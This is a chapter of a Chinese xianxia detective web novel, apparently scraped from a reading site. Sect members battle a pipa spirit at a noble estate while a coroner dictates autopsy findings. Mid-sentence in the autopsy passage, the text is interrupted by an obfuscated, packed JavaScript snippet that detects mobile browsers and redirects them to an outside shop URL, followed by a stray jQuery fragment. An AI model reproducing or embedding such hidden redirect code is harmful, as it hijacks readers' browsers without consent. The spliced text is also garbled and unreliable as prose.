文趣网 > 其他小说 > 且听旧岁[探案] > 5. 第⑤章
    萧燕然突然大喊,硬生生把魏玄叫了回来。

    “我这人手不够,总之你得留下。写字会吗?”

    面对灵妖宗的人魏玄一下子也不好拒绝。

    “会。”

    “那行,我说你记。”

    言外之意就是要魏玄辅助他验尸。

    “什么?”魏玄嘴角一僵。

    ……

    黑漆漆的连廊,细雨斜斜打在树枝上,树叶相打的声响有些不合时宜,给当下增添几分诡异。

    谭大公子的尸体已经被运走,寝房只剩下血迹。

    解思弦前脚刚踏入此地,后脚门便重重闭合,这让她不禁想起了夜杀阁门闭上时的情形。

    殊不知裴承砚就在门外,与她一墙之隔。

    只是顷刻之间,房内的灯烛连续亮了几盏,她借着光将房内扫视,唯一不一样的地方就在于,她的眼前多了一把崭新的琵琶。

    完好无损。

    一滴血从房檐上落下,瞬间正中琵琶。

    “少宗主今日真是好狠心,方才在连廊上好歹给我的分身留个活路啊。”

    一道女声从房檐上渐落,言语之中三分魅惑。

    解思弦没多少时间与她耗,只是换了副语气,冷冷道:“你做错了什么你自己心里清楚。”

    琵琶精倒不以为然:“我都没做,又怎能算错了呢?”

    “今夜趁机杀死谭二公子不仅是宗门给你的任务,亦是天子给的,你倒是好,一夜之间谭大死了,谭二还好好的。”

    解思弦说话时嘴就像含了冰,听得精怪不满的撅嘴。

    “我罗怜玉待主人从来都是忠心耿耿的。”

    “所以呢?”

    “所以你不该怀疑人是我杀的。”

    她这逻辑让解思弦轻笑一声:“你与谭大公子无冤无仇,我怀疑你杀他干吗?

    我只是在想,你这么聪明的一只精怪,为何不借助这次谭大公子之死,趁谭府陷入混乱去杀死谭二。”

    “还有,如今你明明有大把杀死谭二的机会摆在眼前,你却杀了谭府后院井下的人。若我没猜错的话,那人就是谭府今夜失踪的琵琶手吧?”

    她的一番话一时间让罗怜玉说不上话来,只见她毫不费力地跳下房檐来到她面前。

    “论‘聪明’二字我自然是比不上少宗主您,只不过我并没有杀他。”

    解思弦顿时欲言又止,殊不知门外深幽夜色中,裴承砚就立于门前,倾身静静听着里边二人对话。

    他试着再凑近门缝一点,却忘了注意脚下被风雨吹来的树枝。

    伴随着树枝被碾压发出的一声响动。

    “谁在那里!”

    解思弦眉头紧蹙,她快步上前假装严肃,内心不知鼓了多少次掌了。

    他听到了,她故意的。

    罗怜玉见状,一个响指打开了寝房的房门。

    “少宗主可要把这偷听的人抓着了,不要让这天子的口谕暴露了。”罗怜玉微微开口,她不嫌事乱,只想再添一把火。

    解思弦没空理她,径直追了出去。

    裴承砚眼见事情暴露,他顺着风一跃而起直至屋顶。

    他站在高处俯视寂静的府邸,右手紧握剑柄。

    约莫一盏茶的时间过去,正当他以为躲过去时,茫茫夜色中忽然凭空出现一道红绸,被背后死死捆住他的腰,使他动弹不得。

    他嘲天喊了几句:“要杀就尽快现身,何必躲躲藏藏?”

    就在他毫无防备之时,罗怜玉抚着琵琶从天而降。

    “找到你了,小郎君。”罗怜玉语气调侃。

    下一秒,她将琵琶一收,掌中凭空变出一把匕首,她动动手,匕首听话地回旋于夜空。

    裴承砚蹙眉,只好佩剑出鞘,连续接了对面几招,谁知罗怜玉手中的匕首数量非但不减,反而还越打越多。

    刀剑交锋的声音在寂静的深夜格外扎耳,他刚打掉罗怜玉的匕首,不曾想对方手腕一转,匕首如回马枪般从后刺向他的脖颈。

    情急之下,他腰上的红绸立刻将他拉到安全的位置。

    这红绸是他们灵妖宗少宗主专用的法器,罗怜玉见此瞬间急了眼。

    “少宗主,我们才是一伙的!”罗怜玉换了副委屈的语气。

    听到“少宗主”三字时,裴承砚顺着罗怜玉的目光往腰上的红绸看去,不禁喃喃:“解思弦?”

    这是在帮他?

    解思弦轻功几步跃上房檐,嘴上也不惯着她,立即喝止她手上的动作:“只让你抓,没让你杀。”

    罗怜玉咬了咬下唇,少宗主不护宗门之人,反而保护一个来历不明的男子。

    “那不行,他听了不该听的东西,就得杀!”语毕,数十把匕首在顷刻之间聚于上空将三人围成一个圈。

    匕首尖锐,伴着夜里如针的细雨,势必要将他捅得生不如死。

    解思弦手腕一转,收了绑在裴承砚腰上的红绸,“无理取闹的小东西。”

    没了红绸的束缚,他使剑便更加自如。

    面对来势汹汹的匕首,只听几声刀剑交锋的声音在空中滑过,紧接着是匕首落地“噼啪”作响。

    “处理灵妖宗内部的事,就不劳烦裴公子动手了。”她见对面既不吃敬酒,只好亲自动手。

    红绸在寂夜里行如水蛇,几次精准绕过匕首的尖头,从后悄然缠上罗怜玉的手腕。

    她稍稍使力,一时间,罗怜玉的手就不听使唤,匕首在夜空中失了方向,行动大乱。

    罗怜玉几番挣扎却无济于事,只能眼睁睁看着暗藏在红绸中的银针无情地扎进她的脉搏。

    她一吃痛,闭紧了眼。

    一瞬间,所有匕首都消失了。

    红绸被收回,断了脉搏的罗怜玉只能舍弃这身躯壳,消散于天地之间。

    裴承砚看着眼前的一切,手中持剑的动作顿了顿。

    解思弦见状调侃着他:“裴公子还是小心点为好,毕竟这小东西现在还有两个分身可用。”

    话落,一把匕首忽然再次闯入二人的视线,裴承砚反应及时侧头躲过。

    “被你说中了。”他直视上空,“还不现身!”

    可她不傻,她现身了那她还怎么杀他。罗怜玉悄无声息地来到裴承砚身后。

    在旁人眼中看不出什么,可在解思弦眼中,他的身后已经多了一道黑气。

    “裴公子小心!”

    她动用内力,使红绸化为一团红雾攻向罗怜玉,谁知那团黑气飞掠至裴承砚身后,将他推了出去。

    她要他做盾,借机杀他,两全其美。

    红雾出招,在黑夜之内难辨方向。一霎之间,就算是金丹期的捉妖师也一时难以闪躲,更别说裴承砚。

    千钧一发之际,一阵灵光闪入此地,与红雾正面相撞。

    “轰——”

    整个谭府都免不了一阵巨响,就连后院的枯树都受不住,不过须臾就折了根树枝。

    “鬼啊!”魏玄吓得一激灵,手中的笔都甩了出去。

    萧燕然倒是一脸平静,还严肃警告他:“验尸之时,务必静心。”

    “明,明白了。”魏玄只好颤颤点头。

    语落,他见萧仵作一脸平静的观察尸状,后道:“记,尸体左手除大拇指外四根手指的指尖指腹,与

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744282|209206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    虎口处均有成年老茧。”

    “……”

    一招对峙下来,红雾被打回红绸形态,灵光也消散于黑夜,落向大地。

    灵光之下是急忙赶来的女妖与应千崇。

    收回最后一点灵光的幸沧双有些站不稳,站在房檐上连连后退,站在她身后的应千崇就顺势搭了她一把,让她重新找回重心。

    幸沧双气喘吁吁:“好强的内力。”

    她心中惊叹,此人看着十七八岁,修为竟已经达到了元婴后期。

    罗怜玉眼见一下子来了这么多人,干脆一不做二不休:“喂,还打不打,不打我可自己回灵妖宗地牢了。”

    众人刚想回话,却被房檐底下的一道熟悉声音打断:“哎呦还打什么打,验尸结果出来了,还有,你们谁来管管这小子啊,他快吐死了。”

    萧燕然就这样,一手提着仵作箱,一手拖着魏玄慌忙赶到现场。

    “呕——”

    他一脸半死不活的状态。

    解思弦见此情状,迅速瞄了一眼裴承砚示意他。

    少年也正好借此机会先远离不讲道理的罗怜玉,只见他轻功跃下,硬生生把魏玄拽了起来。

    “别别别用力——”

    此时的魏玄,生不如死。

    萧燕然一摆手:“好了,还是赶紧找块儿地让他坐坐吧,我可不想到时候在义庄看见他。”

    解思弦对此没问题,指了指谭府的东边,脆声提议:“我瞧那边有空屋子,不如就去那待着,也少淋些雨。”

    众人对此也没问题,就魏玄丧着脸道:“那还愣着干什么,快去啊——”

    ……

    东边库房内,空气闷得发沉。

    墙角结满层层蛛网,落着厚厚浮灰,处处透着阴冷森寒,屋内摆着不少老旧木箱,杂乱堆放在各处,木身受潮泛着湿冷气息。

    四下静悄悄的,光线昏暗黯淡,处处都透着压抑的氛围。

    不得不说这谭府的库房还挺大,够容得下五个人,一个妖怪与一个精怪。

    座位分配很公平,解思弦、萧燕然和面带狐狸面具

    的应千崇,三人整整齐齐端坐着。

    而木桌的另一边就是要死要活的魏玄和裴承砚,还有一个满脸无奈的幸沧双。

    回想起来,她怎么就摊上这么两个猎精师了。

    “要我说,办案时就该这样,目标一致的人和和气气聚在一起搜证,而不是你要杀我,我偷袭你,最后搞得两败俱伤。”坐在木桌正中央的萧燕然两手一摊,说道。

    调理好的魏玄正坐于萧燕然对面,他一脸不屑,便直言道:“谁说我们和你们灵妖宗目标一致了,我们是来捉琵琶精的。”

    话音刚落,他还不忘瞥了眼潇潇洒洒倚在库房窗檐上的罗怜玉。

    见他还想着捉琵琶精呢,气得幸沧双差点一拳锤在他头上。

    她咬牙切齿:“喂,你个武功废是不是傻,看不出来她是灵妖宗的吗?”

    “她?灵妖宗?”

    魏玄指指一脸无辜的罗怜玉。

    “真是倒了八辈子霉,怎么就碰上你这个捉妖师。”

    幸沧双心里好烦,边说边低下头去,一手直接捂住半张脸。

    小狸奴耷拉着猫耳朵,在没人看见的地方不知翻了多少个白眼。

    回想一月前,她作为一张被用来算卦的纸符,主人死了,她凭一己之力好不容易跑到江州城,本想逍遥快活一辈子,谁曾想半路遇到一个不讲武德的猎精师,趁她法力低弱之时把她抓了。

    那人就是魏玄。

    想当初,她还是双手被捆,被一根绳子牵了一路。